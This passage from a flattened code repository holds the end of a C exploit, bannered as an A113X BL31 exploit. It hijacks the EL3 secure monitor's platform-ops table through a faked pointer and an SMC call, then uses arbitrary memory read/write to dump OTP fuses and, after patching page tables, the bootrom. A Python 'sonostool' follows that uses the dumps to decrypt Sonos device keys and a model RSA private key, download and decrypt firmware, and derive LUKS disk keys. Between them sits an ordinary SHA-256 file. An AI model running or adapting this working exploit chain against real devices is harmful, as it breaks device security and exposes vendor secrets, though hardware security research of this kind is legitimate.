547 | 0x0000000005121794, // 64 548 | 0x00000000051218dc, // 65 549 | 0x0000000005121930, // 66 550 | 0x0000000005121a18, // 67 551 | 0x0000000005121bf4, // 68 552 | 0x0000000005121d50, // 69 553 | 0x0000000005122248, // 70 554 | 0x0000000005122400, // 71 555 | }; 556 | 557 | // 0x820000FF 558 | platform_op_table[18] = addr; 559 | 560 | for (int i = 0; i < 72; i++) 561 | { 562 | write64(FAKE_PLATFORM_OPS_ADDR + (i * 8), platform_op_table[i]); 563 | } 564 | 565 | write64(PLATFORM_OPS_PTR, FAKE_PLATFORM_OPS_ADDR); 566 | 567 | call_smc(0x820000FF, a, b, c); 568 | } 569 | 570 | 571 | void dump_otp(char *outputfile) { 572 | printf("[+] clearing scratch..\n"); 573 | for (int i = 0; i < OTP_SIZE; i += 8) 574 | { 575 | write64(HEAP_HEAD + 0x30000 + i, 0); 576 | } 577 | 578 | printf("[+] trigger OTP read..\n"); 579 | call3(F_EFUSE_READ, HEAP_HEAD + 0x30000, 0, 0x100); 580 | 581 | uint8_t otp[OTP_SIZE]; 582 | memset(otp, 0, sizeof(otp)); 583 | 584 | printf("[+] slurping OTP data..\n"); 585 | for (int i = 0; i < OTP_SIZE; i += 8) 586 | { 587 | *(uint64_t *)(otp + i) = read64(HEAP_HEAD + 0x30000 + i); 588 | } 589 | 590 | hexdump(otp, OTP_SIZE); 591 | 592 | FILE *f = fopen(outputfile, "wb"); 593 | fwrite(otp, OTP_SIZE, 1, f); 594 | fclose(f); 595 | } 596 | 597 | void dump_bootrom(uint64_t ttbr0_el3, char *outputfile) { 598 | uint64_t l2_addr = read64(ttbr0_el3 + 0x18); 599 | l2_addr &= ~3; 600 | 601 | printf("[+] L2 table for c0000000-ffffffff @ %016lx\n", l2_addr); 602 | 603 | uint64_t l3_addr = read64(l2_addr + (0x1ff * 8)); 604 | l3_addr &= ~3; 605 | 606 | printf("[+] L3 table for ffe00000-ffffffff @ %016lx\n", l3_addr); 607 | 608 | uint64_t tbl_start = 0xffe00000; 609 | uint64_t map_start = 0xffff0000; 610 | uint64_t map_end = map_start + (1024 * 64); 611 | 612 | printf("[+] patching pagetable to facilitate bootrom dumping..\n"); 613 | for(uint64_t addr = map_start; addr < map_end; addr += 0x1000) { 614 | uint32_t index = (addr - tbl_start) / 0x1000; 615 | uint64_t entry = (addr & 0xfffff000) | (UPAT << 52) | (LPAT << 2) | 3; 616 | write64(l3_addr + (index * 8), entry); 617 | } 618 | printf("[+] done\n"); 619 | 620 | FILE *f = fopen(outputfile, "wb"); 621 | printf("[+] dumping bootrom..\n"); 622 | for(uint64_t addr = map_start; addr < (map_start + BOOTROM_SIZE); addr += 8) { 623 | if ((addr % 0x100) == 0) { 624 | printf("> pos: %016lx\n", addr); 625 | } 626 | uint64_t v = read64(addr); 627 | fwrite(&v, 8, 1, f); 628 | } 629 | printf("[+] done!\n"); 630 | fclose(f); 631 | } 632 | 633 | void banner() { 634 | printf("\n*** A113X BL31 exploit by blasty ***\n\n"); 635 | } 636 | 637 | void usage(char *prog) { 638 | printf( 639 | "usage:\n" 640 | " %s dump_otp \n" 641 | " %s dump_bootrom \n" 642 | " %s read64
\n" 643 | " %s write64
\n" 644 | "\n", 645 | prog, prog, prog, prog 646 | ); 647 | } 648 | 649 | int main(int argc, char *argv[]) 650 | { 651 | banner(); 652 | 653 | if (argc < 3) { 654 | usage(argv[0]); 655 | return -1; 656 | } 657 | 658 | clear_procfiles(); 659 | 660 | if(!strcmp(argv[1], "dump_otp")) { 661 | dump_otp(argv[2]); 662 | } else if (!strcmp(argv[1], "dump_bootrom")) { 663 | uint64_t ttbr0_el3 = TTBR0_EL3; 664 | dump_bootrom(ttbr0_el3, argv[2]); 665 | } else if (!strcmp(argv[1], "read64")) { 666 | uint64_t a = strtoull(argv[2], NULL, 0); 667 | uint64_t v = read64(a); 668 | printf("read64 0x%016lx = 0x%016lx\n", a, v); 669 | } else if (!strcmp(argv[1], "write64")) { 670 | if (argc != 4) { 671 | usage(argv[0]); 672 | return -1; 673 | } 674 | uint64_t a = strtoull(argv[2], NULL, 0); 675 | uint64_t v = strtoull(argv[3], NULL, 0); 676 | write64(a, v); 677 | printf("write64 0x%016lx = 0x%016lx done\n", a, v); 678 | } else { 679 | usage(argv[0]); 680 | return -1; 681 | } 682 | 683 | return 0; 684 | } 685 | -------------------------------------------------------------------------------- /el3_exploit/main/src/sha256.c: -------------------------------------------------------------------------------- 1 | /********************************************************************* 2 | * Filename: sha256.c 3 | * Author: Brad Conte (brad AT bradconte.com) 4 | * Copyright: 5 | * Disclaimer: This code is presented "as is" without any guarantees. 6 | * Details: Implementation of the SHA-256 hashing algorithm. 7 | SHA-256 is one of the three algorithms in the SHA2 8 | specification. The others, SHA-384 and SHA-512, are not 9 | offered in this implementation. 10 | Algorithm specification can be found here: 11 | * http://csrc.nist.gov/publications/fips/fips180-2/fips180-2withchangenotice.pdf 12 | This implementation uses little endian byte order. 13 | *********************************************************************/ 14 | 15 | /*************************** HEADER FILES ***************************/ 16 | #include 17 | #include 18 | #include "sha256.h" 19 | 20 | /****************************** MACROS ******************************/ 21 | #define ROTLEFT(a, b) (((a) << (b)) | ((a) >> (32 - (b)))) 22 | #define ROTRIGHT(a, b) (((a) >> (b)) | ((a) << (32 - (b)))) 23 | 24 | #define CH(x, y, z) (((x) & (y)) ^ (~(x) & (z))) 25 | #define MAJ(x, y, z) (((x) & (y)) ^ ((x) & (z)) ^ ((y) & (z))) 26 | #define EP0(x) (ROTRIGHT(x, 2) ^ ROTRIGHT(x, 13) ^ ROTRIGHT(x, 22)) 27 | #define EP1(x) (ROTRIGHT(x, 6) ^ ROTRIGHT(x, 11) ^ ROTRIGHT(x, 25)) 28 | #define SIG0(x) (ROTRIGHT(x, 7) ^ ROTRIGHT(x, 18) ^ ((x) >> 3)) 29 | #define SIG1(x) (ROTRIGHT(x, 17) ^ ROTRIGHT(x, 19) ^ ((x) >> 10)) 30 | 31 | /**************************** VARIABLES *****************************/ 32 | static const WORD k[64] = { 33 | 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 34 | 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 35 | 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 36 | 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 37 | 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 38 | 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 39 | 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 40 | 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2}; 41 | 42 | /*********************** FUNCTION DEFINITIONS ***********************/ 43 | void sha256_transform(SHA256_CTX *ctx, const BYTE data[]) 44 | { 45 | WORD a, b, c, d, e, f, g, h, i, j, t1, t2, m[64]; 46 | 47 | for (i = 0, j = 0; i < 16; ++i, j += 4) 48 | m[i] = (data[j] << 24) | (data[j + 1] << 16) | (data[j + 2] << 8) | (data[j + 3]); 49 | for (; i < 64; ++i) 50 | m[i] = SIG1(m[i - 2]) + m[i - 7] + SIG0(m[i - 15]) + m[i - 16]; 51 | 52 | a = ctx->state[0]; 53 | b = ctx->state[1]; 54 | c = ctx->state[2]; 55 | d = ctx->state[3]; 56 | e = ctx->state[4]; 57 | f = ctx->state[5]; 58 | g = ctx->state[6]; 59 | h = ctx->state[7]; 60 | 61 | for (i = 0; i < 64; ++i) 62 | { 63 | t1 = h + EP1(e) + CH(e, f, g) + k[i] + m[i]; 64 | t2 = EP0(a) + MAJ(a, b, c); 65 | h = g; 66 | g = f; 67 | f = e; 68 | e = d + t1; 69 | d = c; 70 | c = b; 71 | b = a; 72 | a = t1 + t2; 73 | } 74 | 75 | ctx->state[0] += a; 76 | ctx->state[1] += b; 77 | ctx->state[2] += c; 78 | ctx->state[3] += d; 79 | ctx->state[4] += e; 80 | ctx->state[5] += f; 81 | ctx->state[6] += g; 82 | ctx->state[7] += h; 83 | } 84 | 85 | void sha256_init(SHA256_CTX *ctx) 86 | { 87 | ctx->datalen = 0; 88 | ctx->bitlen = 0; 89 | ctx->state[0] = 0x6a09e667; 90 | ctx->state[1] = 0xbb67ae85; 91 | ctx->state[2] = 0x3c6ef372; 92 | ctx->state[3] = 0xa54ff53a; 93 | ctx->state[4] = 0x510e527f; 94 | ctx->state[5] = 0x9b05688c; 95 | ctx->state[6] = 0x1f83d9ab; 96 | ctx->state[7] = 0x5be0cd19; 97 | } 98 | 99 | void sha256_update(SHA256_CTX *ctx, const BYTE data[], size_t len) 100 | { 101 | WORD i; 102 | 103 | for (i = 0; i < len; ++i) 104 | { 105 | ctx->data[ctx->datalen] = data[i]; 106 | ctx->datalen++; 107 | if (ctx->datalen == 64) 108 | { 109 | sha256_transform(ctx, ctx->data); 110 | ctx->bitlen += 512; 111 | ctx->datalen = 0; 112 | } 113 | } 114 | } 115 | 116 | void sha256_final(SHA256_CTX *ctx, BYTE hash[]) 117 | { 118 | WORD i; 119 | 120 | i = ctx->datalen; 121 | 122 | // Pad whatever data is left in the buffer. 123 | if (ctx->datalen < 56) 124 | { 125 | ctx->data[i++] = 0x80; 126 | while (i < 56) 127 | ctx->data[i++] = 0x00; 128 | } 129 | else 130 | { 131 | ctx->data[i++] = 0x80; 132 | while (i < 64) 133 | ctx->data[i++] = 0x00; 134 | sha256_transform(ctx, ctx->data); 135 | memset(ctx->data, 0, 56); 136 | } 137 | 138 | // Append to the padding the total message's length in bits and transform. 139 | ctx->bitlen += ctx->datalen * 8; 140 | ctx->data[63] = ctx->bitlen; 141 | ctx->data[62] = ctx->bitlen >> 8; 142 | ctx->data[61] = ctx->bitlen >> 16; 143 | ctx->data[60] = ctx->bitlen >> 24; 144 | ctx->data[59] = ctx->bitlen >> 32; 145 | ctx->data[58] = ctx->bitlen >> 40; 146 | ctx->data[57] = ctx->bitlen >> 48; 147 | ctx->data[56] = ctx->bitlen >> 56; 148 | sha256_transform(ctx, ctx->data); 149 | 150 | // Since this implementation uses little endian byte ordering and SHA uses big endian, 151 | // reverse all the bytes when copying the final state to the output hash. 152 | for (i = 0; i < 4; ++i) 153 | { 154 | hash[i] = (ctx->state[0] >> (24 - i * 8)) & 0x000000ff; 155 | hash[i + 4] = (ctx->state[1] >> (24 - i * 8)) & 0x000000ff; 156 | hash[i + 8] = (ctx->state[2] >> (24 - i * 8)) & 0x000000ff; 157 | hash[i + 12] = (ctx->state[3] >> (24 - i * 8)) & 0x000000ff; 158 | hash[i + 16] = (ctx->state[4] >> (24 - i * 8)) & 0x000000ff; 159 | hash[i + 20] = (ctx->state[5] >> (24 - i * 8)) & 0x000000ff; 160 | hash[i + 24] = (ctx->state[6] >> (24 - i * 8)) & 0x000000ff; 161 | hash[i + 28] = (ctx->state[7] >> (24 - i * 8)) & 0x000000ff; 162 | } 163 | } -------------------------------------------------------------------------------- /sonostool/requirements.txt: -------------------------------------------------------------------------------- 1 | docopt 2 | requests 3 | pycryptodome 4 | -------------------------------------------------------------------------------- /sonostool/sonostool.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """sonostool 4 | usage: 5 | sonostool -m -o download 6 | sonostool -m -o decrypt_update 7 | sonostool -m -o luks_key 8 | sonostool -h 9 | 10 | options: 11 | -h, --help display this help output 12 | """ 13 | 14 | import sys 15 | import struct 16 | import binascii 17 | import hashlib 18 | import requests 19 | import hmac 20 | import io 21 | 22 | from Crypto.PublicKey import RSA 23 | from Crypto.Cipher import AES 24 | from Crypto.Cipher import PKCS1_OAEP 25 | from docopt import docopt 26 | 27 | 28 | GCM_TAG_SIZE = 16 29 | GCM_IV_SIZE = 12 30 | 31 | 32 | MAGIC_MDP3 = b"\xf0\x79\xa9\xcb" 33 | MAGIC_FSKEY = b"\xe8\x4d\x8c\x61" 34 | MAGIC_UNK1 = b"\x62\x1d\xa7\x4d" 35 | MAGIC_RSAKEY = b"\x8d\xc6\xcc\xf4" 36 | MAGIC_FW_BLOB = b"\x88\x64\x99\xca" 37 | MAGIC_UPD = b"\x49\x7f\x16\x35" 38 | 39 | 40 | OTP_LENGTH = 0x100 41 | MDP_LENGTH = 0x4000 42 | 43 | MDP_OFFSET_JFFS_KEY = 0x0580 44 | MDP_OFFSET_ROOTFS_KEY = 0x0680 45 | MDP_OFFSET_MODEL_PRIVATE_KEY = 0x0780 46 | 47 | UPDATE_URI_BASE = "https://update.sonos.com" 48 | 49 | BLOB_MAGIC = 0x35167F49 50 | BLOB_TYPE_BASE_URI = 0x7 51 | BLOB_TYPE_MANIFEST_URI = 0xE 52 | 53 | # hardcoded for tupelo 54 | SONOS_MODEL = 26 55 | SONOS_SUBMODEL = 1 56 | 57 | HTTP_CHUNKSIZE = 1024 * 128 58 | 59 | 60 | class SONOSTool: 61 | def __init__(self, mdp_data, otp_data): 62 | if len(otp_data) != OTP_LENGTH: 63 | self.err("wrong OTP length") 64 | if len(mdp_data) != MDP_LENGTH: 65 | self.err("wrong MDP length") 66 | 67 | self.mdp_data = mdp_data 68 | self.otp_data = otp_data 69 | 70 | if self.mdp_data[0:4] != MAGIC_MDP3: 71 | self.err("invalid MDP data") 72 | 73 | self.rootfs_key = self.decrypt_rootfs_key() 74 | self.jffs_key = self.decrypt_jffs_key() 75 | self.model_rsakey = self.decrypt_model_rsakey() 76 | 77 | def xor(self, a, b): 78 | o = b"" 79 | for i in range(len(a)): 80 | o += bytes([a[i % len(a)] ^ b[i % len(b)]]) 81 | return o 82 | 83 | def err(self, s): 84 | print("ERROR: %s" % s) 85 | exit(-1) 86 | 87 | def mdp_field(self, offset, magic): 88 | if self.mdp_data[offset : offset + 4] != magic: 89 | self.err("invalid magic!") 90 | blob_len = struct.unpack(" 0x10: 98 | return False 99 | return s[-padbyte:] == bytes([padbyte]) * padbyte 100 | 101 | def unpad(self, s): 102 | if len(s) < 0x20 or len(s) % 0x10 != 0: 103 | return False 104 | padbyte = s[-1] 105 | if padbyte > 0x10: 106 | return False 107 | return s[0 : len(s) - padbyte] 108 | 109 | def sonos_blob_encdec(self, blob, keymod): 110 | if len(keymod) < 8: 111 | keymod += b"\x00" * (8 - len(keymod)) 112 | 113 | aes_key = hashlib.sha256(self.otp_data[0xD0:0xE0]).digest()[0:0x10] 114 | 115 | ciphertext_len = len(blob) - GCM_IV_SIZE - GCM_TAG_SIZE 116 | if ciphertext_len % 0x10 != 0: 117 | self.err("blob body not aligned to aes block size") 118 | 119 | ciphertext = blob[0:ciphertext_len] 120 | iv = blob[ciphertext_len : ciphertext_len + GCM_IV_SIZE] 121 | iv = self.xor(iv, keymod) 122 | 123 | b = b"" 124 | for i in range(ciphertext_len // 0x10): 125 | b += iv + struct.pack(">L", 2 + i) 126 | cipher = AES.new(aes_key, mode=AES.MODE_ECB) 127 | decrypted = self.xor(cipher.encrypt(b), ciphertext) 128 | if not self.check_padding(decrypted): 129 | self.err("invalid padding") 130 | return self.unpad(decrypted) 131 | 132 | def sonos_blob_deserialize(self, fh, type_whitelist=None): 133 | o = {} 134 | while True: 135 | hdr = fh.read(0x10) 136 | if len(hdr) != 0x10: 137 | break 138 | magic, etype, size, unk0 = struct.unpack("= 0x10 141 | 142 | if type_whitelist is not None: 143 | if etype not in type_whitelist: 144 | fh.seek(size - 0x10, 1) 145 | continue 146 | 147 | body = fh.read(size - 0x10) 148 | if etype not in o.keys(): 149 | o[etype] = [] 150 | o[etype].append(body) 151 | return o 152 | 153 | def decrypt_rootfs_key(self): 154 | rootfs_key = self.mdp_field(MDP_OFFSET_ROOTFS_KEY, MAGIC_FSKEY) 155 | return self.sonos_blob_encdec(rootfs_key, b"rootfs") 156 | 157 | def decrypt_jffs_key(self): 158 | rootfs_key = self.mdp_field(MDP_OFFSET_JFFS_KEY, MAGIC_FSKEY) 159 | return self.sonos_blob_encdec(rootfs_key, b"ubifs") 160 | 161 | def decrypt_model_rsakey(self): 162 | model_rsakey = self.mdp_field(MDP_OFFSET_MODEL_PRIVATE_KEY, MAGIC_RSAKEY) 163 | return self.sonos_blob_encdec(model_rsakey, b"model") 164 | 165 | def sonos_luks_key(self, key_in): 166 | if len(key_in) != 0x20: 167 | self.err("bad input key length") 168 | 169 | if key_in[0:16] != b"\x00" * 16 and key_in[0:16] != b"\xff" * 16: 170 | self.err("sentinel value not found") 171 | 172 | key_mdp = None 173 | if key_in[0] == 0: 174 | key_mdp = self.jffs_key 175 | else: 176 | key_mdp = self.rootfs_key 177 | 178 | a = b"sonos luks" + key_in 179 | h = hmac.new(key_mdp, a, hashlib.sha256) 180 | return hmac.new(key_mdp, h.digest() + a, hashlib.sha256).digest() 181 | 182 | def download_firmware(self, outdir): 183 | query_string = ( 184 | "cmaj=%d&cmin=%d&cbld=%d&subm=%d&rev=%d®=%d&serial=%s&sonosid=%s&householdid=%s" 185 | % (4, 1, 1, 100, 1, 2, "1", "111111111", "X") 186 | ) 187 | 188 | uri = "%s/firmware/latest/default-1-1.ups?%s" % (UPDATE_URI_BASE, query_string) 189 | print("> downloading metadata") 190 | r = requests.get(uri) 191 | 192 | if r.status_code != 200: 193 | print(r.status_code) 194 | self.err("error fetching update metadata") 195 | 196 | fh = io.BytesIO(r.content) 197 | 198 | uri_info = self.sonos_blob_deserialize( 199 | fh, [BLOB_TYPE_BASE_URI, BLOB_TYPE_MANIFEST_URI] 200 | ) 201 | 202 | if BLOB_TYPE_BASE_URI not in uri_info.keys(): 203 | self.err("could not find base uri in update metadata") 204 | if BLOB_TYPE_MANIFEST_URI not in uri_info.keys(): 205 | self.err("could not find manifest uri in update metadata") 206 | 207 | base_uri = uri_info[BLOB_TYPE_BASE_URI][0].replace(b"\x00", b"").decode() 208 | manifest_uri = ( 209 | uri_info[BLOB_TYPE_MANIFEST_URI][0].replace(b"\x00", b"").decode() 210 | ) 211 | 212 | update_uri = "%s-%d-%d.upd" % ( 213 | base_uri.replace("/^", "/"), 214 | SONOS_SUBMODEL, 215 | SONOS_MODEL, 216 | ) 217 | 218 | out_filename = "%s/%s" % (outdir, update_uri.split("/")[-1]) 219 | with open(out_filename, "wb") as fo: 220 | print("> downloading %s" % update_uri) 221 | r = requests.get(update_uri, stream=True) 222 | ntotal = r.headers.get("content-length") 223 | if ntotal is not None: 224 | ntotal = int(ntotal) 225 | nread = 0 226 | for chunk in r.iter_content(chunk_size=HTTP_CHUNKSIZE): 227 | fo.write(chunk) 228 | if ntotal is None: 229 | continue 230 | nread += len(chunk) 231 | done = int(50 * nread / ntotal) 232 | sys.stdout.write( 233 | "\rleech [%s%s] 0x%08x/0x%08x" 234 | % ("*" * done, "." * (50 - done), nread, ntotal) 235 | ) 236 | sys.stdout.flush() 237 | print("\n\ndone!\n") 238 | 239 | def decrypt_firmware(self, filename, outdir): 240 | rsa_key = RSA.importKey(self.model_rsakey) 241 | cnt = 0 242 | with open(filename, "rb") as fi: 243 | while True: 244 | cnt += 1 245 | hdr = fi.read(0x10) 246 | if len(hdr) != 0x10: 247 | break 248 | magic, etype, size, unk0 = struct.unpack("= 0x10 251 | body = fi.read(size - 0x10) 252 | if body[0:4] != MAGIC_FW_BLOB: 253 | continue 254 | 255 | rsa_blob = body[0x32:0x132] 256 | rsa = PKCS1_OAEP.new(rsa_key) 257 | aes_key = rsa.decrypt(rsa_blob) 258 | if len(aes_key) != 0x10: 259 | self.err("failed to RSA decrypt AES key.") 260 | print( 261 | "entry #%02d is encrypted fw blob! key: %s" 262 | % (cnt, binascii.hexlify(aes_key).decode()) 263 | ) 264 | aes_body = body[0x13A:] 265 | if len(aes_body) % 0x10 != 0: 266 | self.err("aes body is not multiple of blocksize") 267 | c = AES.new(aes_key, AES.MODE_CBC, b"\x00" * 16) 268 | ofn = "%s/%02d.bin" % (outdir, cnt) 269 | with open(ofn, "wb") as fo: 270 | plain = c.decrypt(aes_body) 271 | fo.write(self.unpad(plain[0x10:])) 272 | print("done") 273 | 274 | 275 | if __name__ == "__main__": 276 | args = docopt(__doc__) 277 | # print(args) 278 | 279 | mdp_data = open(args[""], "rb").read() 280 | otp_data = open(args[""], "rb").read() 281 | 282 | tool = SONOSTool(mdp_data, otp_data) 283 | 284 | if args["download"]: 285 | tool.download_firmware(args[""]) 286 | elif args["decrypt_update"]: 287 | tool.decrypt_firmware(args[""], args[""]) 288 | elif args["luks_key"]: 289 | keybytes = binascii.unhexlify(args[""]) 290 | luks_key = tool.sonos_luks_key(keybytes) 291 | luks_keytype = "rootfs" 292 | if keybytes[0] == 0: 293 | luks_keytype = "jffs" 294 | print( 295 | "LUKS AES KEY: %s (%s)" 296 | % (binascii.hexlify(luks_key).decode(), luks_keytype) 297 | ) 298 | --------------------------------------------------------------------------------